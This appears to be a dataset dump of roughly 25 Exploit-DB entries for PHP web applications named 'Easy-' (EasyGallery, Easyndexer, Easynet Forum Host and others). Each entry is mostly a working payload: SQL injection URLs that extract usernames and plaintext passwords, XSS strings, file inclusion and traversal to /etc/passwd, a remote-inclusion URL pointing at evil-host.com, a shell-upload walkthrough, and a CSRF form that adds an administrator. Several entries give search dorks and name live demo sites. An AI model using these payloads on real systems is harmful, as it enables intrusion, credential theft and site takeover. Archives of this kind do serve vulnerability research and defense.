deardaniel/secdata-raw huggingface dataset:
Exploit-DB #32594
Description: Easyedit CMS - 'news.php?intPageID' SQL Injection
Type: webapps
Platform: php
Date: 2008-11-19
Author: d3v1l

Exploit:
source: https://www.securityfocus.com/bid/32369/info
  
Easyedit is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
  
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
  
http://www.example.com/news.php?intPageID=-1%20UNION%20SELECT%20concat_ws(0x3a,version(),database(),user())--
Exploit-DB #32593
Description: Easyedit CMS - 'page.php?intPageID' SQL Injection
Type: webapps
Platform: php
Date: 2008-11-19
Author: d3v1l

Exploit:
source: https://www.securityfocus.com/bid/32369/info
 
Easyedit is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
 
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
http://www.example.com/page.php?intPageID=-1 UNION SELECT concat_ws(0x3a,version(),database(),user())--
Exploit-DB #32592
Description: Easyedit CMS - 'subcategory.php?intSubCategoryID' SQL Injection
Type: webapps
Platform: php
Date: 2008-11-19
Author: d3v1l

Exploit:
source: https://www.securityfocus.com/bid/32369/info

Easyedit is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/subcategory.php?intSubCategoryID=-1 UNION SELECT concat_ws(0x3a,version(),database(),user())--
Exploit-DB #10873
Description: EasyGallery - 'catid' Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-12-31
Author: Hussin X

Exploit:
Myiosoft easygallery (catid)  Blind SQL Injection Vulnerability
___________________________________

Author: Hussin X

Home :  www.IQ-TY.com<http://www.IQ-TY.com>

MaiL : darkangeL_G85@Yahoo.CoM
___________________________________


script  : http://myiosoft.com/?1.105.0.0

Exploit :
_______
true & false

http://server/easygallery/index.php?PageSection=0&page=category&catid=22+and+substring(@@version,1,1)=4  > false

http://server/easygallery/index.php?PageSection=0&page=category&catid=22+and+substring(@@version,1,1)=5  > true




end
  IQ-SecuritY FoRuM
Exploit-DB #36114
Description: EasyGallery 5 - 'index.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2011-09-05
Author: Eyup CELIK

Exploit:
source: https://www.securityfocus.com/bid/49458/info

EasyGallery is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/easygallery/index.php?Go=Go&page=search&search=1' or (sleep(2)%2b1) limit 1

http://www.example.com/easygallery/index.php?do=<SQL Injection Code>&page=register&PageSection=0
Exploit-DB #5247
Description: EasyGallery 5.0tr - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2008-03-12
Author: JosS

Exploit:
--==+=================== Spanish Hackers Team (www.spanish-hackers.com) =================+==--
--==+                EasyGallery <= 5.0tr - Multiple Remote Vulnerabilities              +==--
--==+====================================================================================+==--
                     [+] [JosS] + [Spanish Hackers Team] + [Sys - Project]

[+] Info:

[~] Software: EasyGallery
[~] HomePage: http://myiosoft.com
[~] Exploit: Multiple Remote Vulnerabilities [High]
[~] Bug Found By: JosS
[~] Contact: sys-project[at]hotmail.com
[~] Web: http://www.spanish-hackers.com
[~] Verified in localhost with EasyGallery 5.0tr and magic_quotes Off

[+] Remote SQL Injection:

[~] Vuln File: index.php
[~] Exploit: http://localhost/PATH/staticpages/easygallery/index.php?page=category&PageSection=0&catid=[SQL]
[~] Example: -1+union+all+select+1,2,3,concat(puUsername,char(54),puPassword),5,6,7,8,9,0,1+from+edp_puusers/*

[+] Cross Site Scripting in URI:

[~] Vuln File: index.php
[~] Exploit: http://localhost/PATH/staticpages/easygallery/index.php/[XSS]
[~] Example: >"><ScRiPt>alert("JosS)</ScRiPt>

[+] Cross Site Scripting:

[~] Vuln File: index.php
[~] Exploit: http://localhost/PATH/staticpages/easygallery/index.php?help=about&q=[XSS]
[~] Example: %22+onmouseover=alert("JosS")+


--==+=================== Spanish Hackers Team (www.spanish-hackers.com) =================+==--
--==+                                       JosS                                         +==--
--==+====================================================================================+==--
                                       [+] [The End]

# milw0rm.com [2008-03-12]
Exploit-DB #30741
Description: easyGB 2.1.1 - 'index.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2007-11-05
Author: h4ck3r

Exploit:
source: https://www.securityfocus.com/bid/26335/info

easyGB is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this issue may allow an unauthorized user to view files and execute local scripts.

easyGB 2.1.1 is vulnerable to this issue; other versions may also be affected. 

http://www.example.com/index.php?DatabaseType=[Local File]%00
Exploit-DB #26312
Description: EasyGuppy 4.5.4/4.5.5 - 'Printfaq.php' Directory Traversal
Type: webapps
Platform: php
Date: 2005-09-30
Author: Josh Zlatin-Amishav

Exploit:
source: https://www.securityfocus.com/bid/14984/info

EasyGuppy is prone to a directory traversal vulnerability.

The application fails to properly sanitize input supplied through HTTP POST requests or cookies.

Exploitation of this vulnerability could lead to a loss of confidentiality as arbitrary files are disclosed to an attacker. 

http://www.example.com/printfaq.php?lng=en&pg=/../../../../../../../etc/passwd%00
Exploit-DB #31374
Description: EasyImageCatalogue 1.31 - 'addcomment.php?d' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-03-12
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/28164/info
   
onlinetools.org EasyImageCatalogue is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
   
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
   
EasyImageCatalogue 1.31 is vulnerable; other versions may also be affected.

http://www.example.com/addcomment.php?d="><script>alert()</script>
Exploit-DB #31373
Description: EasyImageCatalogue 1.31 - 'describe.php?d' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-03-12
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/28164/info
  
onlinetools.org EasyImageCatalogue is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
EasyImageCatalogue 1.31 is vulnerable; other versions may also be affected.

http://www.example.com/describe.php?d="><script>alert()</script>
Exploit-DB #31371
Description: EasyImageCatalogue 1.31 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2008-03-12
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/28164/info

onlinetools.org EasyImageCatalogue is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

EasyImageCatalogue 1.31 is vulnerable; other versions may also be affected.

http://www.example.com/index.php?search="><script>alert()</script>
http://www.example.com/index.php?d="><script>alert()</script>
Exploit-DB #31372
Description: EasyImageCatalogue 1.31 - 'thumber.php?dir' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-03-12
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/28164/info
 
onlinetools.org EasyImageCatalogue is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
EasyImageCatalogue 1.31 is vulnerable; other versions may also be affected.

http://www.example.com/thumber.php?dir="><script>alert()</script>
Exploit-DB #24311
Description: EasyIns Stadtportal 4.0 - 'Site' Remote File Inclusion
Type: webapps
Platform: php
Date: 2004-07-24
Author: Francisco Alisson

Exploit:
source: https://www.securityfocus.com/bid/10795/info

EasyIns Stadtportal is reported prone to a vulnerability that may allow an attacker to include malicious files containing arbitrary code to be executed on a vulnerable computer.

EasyIns Stadtportal version 4 is reported prone to this issue. Other versions may be affected as well.

http://www.example.com/stadtportal-path/index.php?site=http://www.evil-host.com
Exploit-DB #38291
Description: EasyITSP - 'voicemail.php' Directory Traversal
Type: webapps
Platform: php
Date: 2013-02-04
Author: Michal Blaszczak

Exploit:
source: https://www.securityfocus.com/bid/57741/info

EasyITSP is prone to a directory-traversal vulnerability because it fails to properly sanitize user-supplied input. 

Remote attackers can use specially crafted requests with directory-traversal sequences ('../') to access arbitrary files in the context of the application. This may aid in further attacks. 

EasyITSP 2.0.7 and prior versions are vulnerable.


http://www.example.com/WEB/customer/voicemail.php?currentpage=phones&folder=../../
Exploit-DB #15516
Description: EasyJobPortal - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-11-13
Author: MeGo

Exploit:
#################################################################
# Exploit :  EasyJobPortal << upload shell

# Date    :  13-11-2010

# Author  :  MeGo

# Version :  n/a

# DorK    :  inurl:jobseeker_register.php  

# Home    :  WwW.P0C.cC/vb

# Email   :  EG5-@hotmail.com , M3GO@live.com

# Vendor  :  http://www.easyjobportal.com
################################################################# 

[+] Exploit

[1] Register Frist ..
[-] http://localhost/path/jobseeker_register.php

[2] Create New Upload Your Shell.php ..
[-] http://localhost/path/jobseeker_document.php

[3] To See Shell Edit Your Document
[-] http://localhost/path/files/document/1/Shell.php

[4] Now Your R00T Box

[#]-[#]-[#]-[#]-[#]-[#]-[#]-[#]-[#]-[#]-[#]-[#]-[#]-[#]-[#]-[#]-[#]

Great 2 : P0C Member , Roots , V4-Team Members , Roots

SGreatz : X-Father , Mo7a , My Keybord :D

./D0n3

[#]-[#]-[#]-[#]-[#]-[#]-[#]-[#]-[#]-[#]-[#]-[#]-[#]-[#]-[#]-[#]-[#]
Exploit-DB #44767
Description: easyLetters 1.0 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2018-05-26
Author: AkkuS

Exploit:
# Exploit Title: easyLetters 1.0 - 'id' SQL Injection
# Dork: N/A
# Date: 25.05.2018
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor Homepage: https://codecanyon.net/item/easyletters/5281396
# Version: 1.0
# Category: Webapps
# Tested on: Kali linux
====================================================
# Demo : http://pauloreg.com/newsletter/
# PoC : SQLi :

http://test.com/newsletter/e-mails.php?id=[SQLi]

Parameter: id (GET)

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: id=1 AND SLEEP(5)

====================================================
Exploit-DB #6494
Description: easyLink 1.1.0 - 'detail.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-19
Author: Egypt Coder

Exploit:
================================================================================
easyLink V1.1.0 (detail.php) Remote SQL Injection Vulnerability
================================================================================



Discovered By: Egypt Coder

home : WWW.Sec-Area.com

Mail: Egyptcoder@hotmail.com



Dork: Engine powered by easyLink V1.1.0.



Exploit :


http://localhost/links/detail.php?act=show&cat=1+union+select+1,2,concat_ws(0x3a,user,passwort),4,5+from+elink_user


Greets  rUnViruS, Error Code, H666p , Fear Master , ProViDoR

# milw0rm.com [2008-09-19]
Exploit-DB #27458
Description: EasyMoblog 0.5 - 'Img.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-03-23
Author: FarhadKey

Exploit:
source: https://www.securityfocus.com/bid/17199/info

EasyMoblog is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/img.php?i=[CODE]
Exploit-DB #29559
Description: EasyMoblog 0.5.1 - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2007-02-02
Author: Tal Argoni

Exploit:
source: https://www.securityfocus.com/bid/22369/info

EasyMoblog is prone to multiple input-validation vulnerabilities, including SQL-injection issues and a cross-site scripting issue, because the application fails to sufficiently sanitize user-supplied input.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, retrieve sensitive information, access or modify data, or exploit latent vulnerability in the underlying database implementation.

EasyMoblog version 0.5.1 is vulnerable; other versions may also be affected. 

To exploit an SQL-injection issue:

An attacker can exploit this issue via a web client.

The following proof-of-concept URIs are available:

http://www.example.com/easymoblog/add_comment.php?i='[SQL]
http://www.example.com/easymoblog/img.php?i='[XSS]
Exploit-DB #45835
Description: Easyndexer 1.0 - Arbitrary File Download
Type: webapps
Platform: php
Date: 2018-11-13
Author: Ihsan Sencan

Exploit:
# Exploit Title: Easyndexer 1.0 - Arbitrary File Download
# Dork: N/A
# Date: 2018-11-10
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://sourceforge.net/projects/easyndexer/
# Software Link: https://ayera.dl.sourceforge.net/project/easyndexer/easyndexer_win32.exe
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/src/showtif.php?file=[FILE]&name=Efe
# 
POST /[PATH]/src/showtif.php?file=C:/Windows/win.ini&name=Efe HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
HTTP/1.1 200 OK
Date: Sat, 10 Nov 2018 18:07:43 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Set-Cookie: PHPSESSID=du96l4lnqqcrmb8jamqk0ntib5; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Disposition: attachment; filename=Efe.ini
Content-Length: 564
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/force-download
Exploit-DB #45815
Description: Easyndexer 1.0 - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2018-11-12
Author: Ihsan Sencan

Exploit:
# Exploit Title: Easyndexer 1.0 - Cross-Site Request Forgery (Add Admin)
# Dork: N/A
# Date: 2018-11-10
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://sourceforge.net/projects/easyndexer/
# Software Link: https://ayera.dl.sourceforge.net/project/easyndexer/easyndexer_win32.exe
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/src/createuser.php
# 
POST /[PATH]/src/createuser.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
username=efe&[CREDENTIAL_REDACTED]=OMer&surname=Efe&privileges=1
HTTP/1.1 200 OK
Date: Sat, 10 Nov 2018 17:12:54 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Set-Cookie: PHPSESSID=fuiv6a0p3jnu15ggcphj624e74; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 127
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

# POC: 
# 2)
# http://localhost/[PATH]/src/createuser.php
# 
<html>
<body>
<tr>
	<form action="http://localhost/ExploitDb/easyndexer/src/createuser.php" method="POST">
		<td>New:</td>
		<td><input name="username" type="text"></td>
		<td><input name="password" type="text"></td>
		<td><input name="name" type="text"></td>
		<td><input name="surname" type="text"></td>
		<td><select name="privileges">
			<option value="1">Administrator</option>
			<option value="2">Manager</option>
			<option value="3">User</option>
			<option value="4">Guest</option>
			<option value="5">Translator</option>
		</select></td>
		<td><input value="Create" title="Creates a new user" type="submit"></td>
		<td><input value="Reset" title="Reset data" type="reset"></td>
	</form>
</tr>
</body>
</html>

# POC: Database File Download
# 3)
# http://localhost/[PATH]/databases/generaldb.db
# 
GET /[PATH]/databases/generaldb.db HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=fuiv6a0p3jnu15ggcphj624e74
Connection: keep-alive
HTTP/1.1 200 OK
Date: Sat, 10 Nov 2018 17:15:04 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
Last-Modified: Sat, 10 Nov 2018 17:12:54 GMT
Etag: "1400-57a52941eade9"
Accept-Ranges: bytes
Content-Length: 5120
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Exploit-DB #5372
Description: Easynet Forum Host - 'forum.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-04-05
Author: t0pP8uZz

Exploit:
--==+================================================================================+==--
--==+		       Easynet Forum Host SQL Injection Vulnerbilitys	             +==--
--==+================================================================================+==--



Discovered By: t0pP8uZz & xprog
Discovered On: 5 April 2008
SCRIPT DOWNLOAD: N/A


SITE: http://www.easynet4u.com/forum


DORK: N/A

DESCRIPTION: retrive users username and plaintext password.

EXPLOITS:

EXPLOIT 1: http://www.server.com/SCRIPT_PATH/forum.php?forum=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,concat(username,0x3a,password),5,6/**/FROM/**/users/*


GREETZ: milw0rm.com, H4CK-Y0u.org, CipherCrew!



--==+================================================================================+==--
--==+		       Easynet Forum Host SQL Injection Vulnerbilitys	             +==--
--==+================================================================================+==--

# milw0rm.com [2008-04-05]
Exploit-DB #11701
Description: Easynet Forum Host - 'topic.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-03-12
Author: Yakir Wizman

Exploit:
# Exploit Title: Easynet Forum Host (topic.php) SQL Injection Vulnerbility
# Date: 05/04/2008
# Author: Pr0T3cT10n
# Software Link: http://www.easynet4u.com/forum
# Version: all
# Tested on: all
# CVE:
# Code:
//------------------------------------------------
// Easynet Forum Host SQL Injection Vulnerbility
//------------------------------------------------
// Discovered by: Pr0T3cT10n, pr0t3ct10n@gmail.com<mailto:pr0t3ct10n@gmail.com>
// Discovered on: 5 April 2008
// SCRIPT DOWNLOAD: N/A
//------------------------------------------------
// SCRIPT SITE: http://www.easynet4u.com/forum
//------------------------------------------------
// Description: retrive users username and plaintext password.
//------------------------------------------------
// NOTE / TIP: After you exploit the site please press CTRL+A :)
// EXPLOIT: http://www.server.com/SCRIPT_PATH/topic.php?topic=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,concat(username,0x3a,password),5,6/**/FROM/**/users/*&forum=0
//------------------------------------------------
Exploit-DB #6722
Description: Easynet4u faq Host - 'faq.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-10-10
Author: SuB-ZeRo

Exploit:
 ####   #    # ######               ##########
#       #    # #    #               #        #
 ####   #    # #    #   #########   #        # 
     #  #    # #####    #########   #        #
#    #  #    # #    ##              ##########
 ####   ###### #######
############### >>> Remote SQL Injection <<<  #########
##    CoNsTaNtiNe HaCkErS25                         ##
################## >>> SuB-ZeRo  <<< ################
 author  :  SuB-ZeRo(AlGeRiA-HaCkErS)
 contact :  FbH@hotmail.com
 homepage:  www.no-exploit.com               
 script  : faq_host script
 download: http://www.easynet4u.com/easyshop/index.php?do=catalog&c=remotely_hosted_scripts&i=faq_host
 dork    : find it
 exploit:
 www.site.me/script/faq.php?faq=1+union+select+1,2,concat(username,0x3a,password),4,5,6+from+admin--
 L!Ve DeMo
 http://www.easynet4u.com/faqs/faq.php?faq=1+union+select+1,2,concat(username,0x3a,password),4,5,6+from+admin--

########### Greetz #############
>>> SuB-ZeRo
>>>my best freinds :: x.CJP.X & ach2008 & carlos the jackel & crazy-zero & bibi-info & HiSoK4
>>> all muslims

# milw0rm.com [2008-10-10]
Exploit-DB #6721
Description: Easynet4u Forum Host - 'forum.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-10-10
Author: SuB-ZeRo

Exploit:
############### >>> Remote SQL Injection <<<  #########
##    SuB-ZeRo  CoNsTaTiNe HaCkErS25 walid          ##
################## >>> SuB-ZeRo  <<< ################
 author  :  SuB-ZeRo
 contact :  FbH@hotmail.com
                
 scrit: forumhost
 buy script : http://www.easynet4u.com/easyshop/index.php?do=catalog&c=remotely_hosted_scripts&i=forum_host
 dork       : find it
 exploit:
 www.site.me/forumhost/forum.php?user=demo&forum=-7+union+select+1,concat(username,0x3a,password),3,4+from+admin--
 NoTe:in name of demo put eny user you want
 L!Ve DeMo
 http://www.easynet4u.com/forumhost/forum.php?user=demo&forum=-7+union+select+1,concat(username,0x3a,password),3,4+from+admin--
 NoTe:YoU must singup and login in web sit and you put your exploit
########### Greetz #############
>>> SuB-ZeRo
>>>my best freinds :: x.CJP.X & ach2008 & carlos the jackel & HiSoK4 & bibi-info & crazy-zero
>>> all muslims

# milw0rm.com [2008-10-10]